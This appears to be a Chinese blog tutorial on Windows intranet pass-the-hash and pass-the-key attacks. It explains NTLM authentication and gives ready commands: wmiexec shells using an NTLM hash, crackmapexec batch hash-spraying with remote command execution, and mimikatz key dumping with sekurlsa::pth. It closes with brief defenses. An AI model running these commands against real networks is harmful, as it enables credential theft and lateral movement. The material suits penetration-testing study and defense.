windows内网渗透PTH/PTK攻击
前言
windows内网渗透中,有三种最常用的pass系列攻击:
- pass the hash(hash传递攻击,简称pth)
- pass the ticket(票据传递攻击,简称ptt)
- pass the key(**传递攻击,简称ptk)
1.1 pass the hash攻击
1.1.1 NTLM HASH
windows用户hash主要由以下部分组成,其中NTLM-HASH比LM-HASH的安全性要更高:
用户名称:RID:LM-HASH值:NTLM-HASH值
自Windows Vista和Windows Server 2008开始,Windows取消LM hash。另外,如果用户密码长度大于15,也无法生成LM hash。
1.1.2 NTLM网络认证机制
NTLM是一种基于质询/应答 (Challenge/Response )消息交换模式的认证机制,常用于工作组和域环境下身份认证
NTLM认证过程有三步:
协商:主要用于确认双方协议版本(NTLMv1、NTLMv2等)
质询:质询/应答 (Challenge/Response)模式,用于消息交换
验证:验证身份合法性,通常由 Server端或 DC完成这个过程
大致流程如下:
- 客户端对密码进行哈希处理并缓存密码 hash,丢弃实际的明文密码(不存储),然后将用户名发送到服务器,发起认证请求
- 服务器生成一个 16字节的随机数,称为质询发送给客户端
- 客户端使用用户密码Hash 对此质询进行加密,将结果发送给服务器
- 服务器发送三项数据给域控制器(DC):
- User name
- 发送给客户端的质询
- 从客户端接收到的加密结果
- 域控制器使用 User name从 AD中检索该用户密码的 NTLM Hash,并使用此 NTLM Hash来加密该质询,然后把这个值和客户端计算的响应值加密结果进行比较。如果它们相同,则验证成功
以上步骤中,用户的登录密码 Hash 即为 NTLM Hash,经过NTLM Hash加密的结果在网络协议中称之为 Net NTLM Hash
1.1.3 使用wmiexec拿shell
- wmiexec.exe地址:https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe
- wmiexec.py地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
windows下使用wmiexec.exe通过pth方式拿shell:wmiexec.exe -hashes 00000000000000000000000000000000:9c1xxxxxxxxxxxxxxxxxxxxfxxxxx8ea0 ./aaa@qq.com
此处是通过Administrator用户的NTLM HASH传递攻击拿shell,登录的域为.
代表本地域
1.1.4 使用crackmapexec批量扫描
crackmapexec是一个可以对多个目标机进行批量PTH扫描,且支持命令执行等功能,工具地址:https://github.com/byt3bl33d3r/CrackMapExec
批量扫描命令:/usr/local/python3/bin/crackmapexec --timeout 3 smb target ip.txt -u Administrator -H 9c1xxxxxxxxxxxxxxxxxxxxfxxxxx8ea0 -d .
命令执行:/usr/local/python3/bin/crackmapexec smb target 192.168.xx.xx -u Administrator -H 9c1xxxxxxxxxxxxxxxxxxxxfxxxxx8ea0 -d . -x ipconfig
1.2 pass the key攻击
ptk是在域中攻击kerberos认证的一种方式,原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。
- 使用
mimikatz "privilege::debug" "sekurlsa::ekeys"
命令获取aes的hmac
- 使用mimi进行测试:
sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"
- 在弹出的cmd窗口中输入net use命令进行测试
- wmiexec和crackmapexec同样支持该种方式攻击,可以自行尝试
防御措施
- windows安装kb2871997补丁
- 使用Kerberos认证代替NTLM认证
- 开启PAC(Privileged Attribute Certificate)特权属性证书保护功能
下一篇: 二款php无限分类代码与原理